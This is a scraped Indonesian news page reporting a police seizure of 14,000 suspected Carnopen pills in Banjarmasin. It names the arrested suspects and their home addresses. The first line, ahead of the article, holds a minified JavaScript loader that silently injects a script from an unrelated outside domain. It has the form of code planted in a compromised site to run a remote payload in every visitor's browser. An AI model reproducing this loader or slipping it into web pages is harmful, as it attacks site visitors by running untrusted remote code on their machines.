(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

14 Ribu Pil Diduga Zenith Carnopen Diamankan Polisi


BANJARMASIN, Jajaran Subdit 3 Dit Resnarkoba Polda Kalsel ungkap kasus  percobaan atau permufakatan jahat tindak pidana  peredaran gelap dan penyalahgunaan sediaan farmasi tanpa izin edar.

Pelaku yang diamankan masing-masing bernama Agus Wahyudi alias Agus (35), warga Jalan Pekapuran B Laut, Gang Makmur RT 07, Banjarmasin, Muhammad Fadli alias Fadli (23), warga Jalan Keramat III, Gang Abdul Murad No 2 RT 14, Sungai Bilu Banjarmasin, dan Erwin Wahyudi alias Erwin (37) warga Jalan HM Japri RT 3 Pelaihari, Kabupaten Tanah Laut yang hingga kini diduga masih buron.

“Pelaku Fadli diringkus rumahnya di Jalan Keramat III Gang Abdul Murad RT 014 RW 001 Kelurahan Sungai Bilu Kecamatan Banjarmasin Timur pada Rabu (20/11) sekitar jam 01:20 Wita,” kata Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto melalui Kabag Binopsdal AKBP Sigit Kumoro, Kamis (28/11).

“Berdasarkan informasi, Fadli diduga menyimpan  ribuan pil diduga carnopen di rumahnya. Atas informasi tersebut petugas menindaklanjuti dengan cara mendatangi rumah Fadli dan melakukan penggeledahan kemudian ditemukan 14 ribu pil diduga carnopen bertuliskan zenith warna putih,” jelas AKBP Sigit.

Menurut pengakuan Fadli, semua barang bukti tersebut berasal dari rekannya Agus. “Kemudian petugas melakukan penangkapan terhadap Agus. Dan setelah diinterogasi, barang bukti yang ditemukan di rumah Fadli tesebut adalah milik Erwin yang belum ditangkap,” jelas AKBP Sigit.

Selain barang bukti berupa 14 ribu pil diduga carnopen, kepolisian juga mengamankan barang bukti lainnya yaitu satu box plastik warna biru, 1 satu  unit mesin Directly Heated Coder, satu unit mesin cetak merk GETRA, dan 1  satu buah HP merk Samsung warna merah muda.

”Kedua pelaku dikenakan Pasal 132 ayat (1) Jo Pasal 114 ayat (2) Subs Pasal 112 ayat (2) UU RI No. 35 Tahun 2009 tentang Narkotika atau Pasal 197 UU No. 36 tahun 2009 tentang kesehatan Jo pasal 55, 56 KUHP,” tegasnya.

Guna kepentingan penyelidikan lebih lanjut, Fadli dan Agus bersaam barang bukti yang didapat digiring ke Mako Dit Resnarkoba Polda Kalsel. (fikri)

Reporter : Fikri
Editor : Bie

Desy Arfianty

Recent Posts

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

18 menit ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

4 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

5 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

6 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

6 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

6 jam ago

This website uses cookies.